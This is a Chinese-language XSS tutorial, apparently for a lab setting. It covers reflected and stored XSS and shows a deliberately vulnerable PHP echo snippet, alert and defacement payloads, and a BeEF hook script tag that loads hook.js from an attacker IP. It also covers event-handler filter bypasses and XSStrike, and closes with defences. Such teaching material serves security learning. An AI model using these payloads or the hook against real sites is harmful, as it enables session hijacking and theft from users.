声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
一、XSS 漏洞基础概念
XSS(跨站脚本攻击)是一种注入式攻击,攻击者将恶意脚本注入到目标网站,当用户访问页面时,脚本会在用户浏览器中执行,从而窃取用户信息、控制用户会话或篡改页面内容。
1. 反射型 XSS(非持久型)
-
核心特点:纯前端漏洞,恶意脚本不会存储到数据库,仅通过用户单次请求触发,每次攻击都需要构造特定 URL。
-
简易 PHP 示例代码
<?php
$xss = $_GET['x'];
echo $xss;
?>
-
攻击测试场景
-
基础弹窗测试:
http://localhost/1.php?x=<script>alert(1)</script> -
恶意提示篡改:
http://localhost/1.php?x=<script>alert('已入侵你的系统')</script> -
页面样式篡改:
http://localhost/1.php?x=<h1 style='font-size:104px;'>你被入侵啦…</h1>
-
-
补充说明:反射型 XSS 常用于钓鱼攻击,攻击者需要诱导用户点击恶意链接,攻击仅对点击链接的用户生效。
2. 存储型 XSS(持久型)
-
核心特点:漏洞作用于数据库,恶意脚本会被永久存储到服务器(如评论区、用户资料、留言板),只要用户访问包含恶意脚本的页面,就会触发攻击,直接影响所有访问用户的体验,危害远大于反射型 XSS。
-
典型场景:论坛评论、电商评价、社交平台留言等用户可输入内容并公开展示的功能模块。
二、XSS 攻击进阶利用
1. 会话劫持示例(beef-xss 工具)
-
环境信息 :测试账号
beef,密码123456 -
攻击原理:通过注入恶意 hook 脚本,将用户浏览器 "绑定" 到 beef 平台,实现远程控制、信息窃取、页面篡改等操作。
-
核心注入代码:
<script src="http://<IP>:3000/hook.js"></script>
- 补充拓展 :结合
redirect跳转功能,可将用户诱导至钓鱼页面,配合 hook 脚本实现双重攻击。
2. 绕过与标签利用
当<script>标签被过滤时,可利用其他 HTML 标签执行恶意代码,常见标签包括:
-
``:利用onerror属性执行脚本
-
<video>:利用onerror/onload属性触发事件 -
<button>:利用onclick等事件属性执行代码 -
补充:可结合加密算法(如 URL 编码、HTML 实体编码)绕过基础过滤规则,例如对
<script>标签进行编码变形,规避简单的关键词拦截。
3. XSS 平台工具:XSStrike
-
核心功能:自动化 XSS 漏洞检测与利用工具,支持批量扫描目标 URL,自动生成随机化的攻击载荷,绕过基础 WAF 过滤。
-
特点:自带随机化编码、多标签绕过、事件触发载荷等功能,大幅提升漏洞挖掘效率。
三、XSS 漏洞防御基础
-
输入过滤 :对用户输入的特殊字符(
<、>、"、'、/等)进行转义或过滤,禁止直接输出用户可控内容。 -
输出编码 :在前端输出用户可控内容时,使用 HTML 实体编码(如
<替代<),避免浏览器解析恶意脚本。 -
CSP 策略:配置内容安全策略(Content Security Policy),限制脚本的执行来源,禁止内联脚本和 eval 执行。
-
Cookie 防护 :给 Cookie 设置
HttpOnly和Secure属性,防止被恶意脚本窃取会话信息。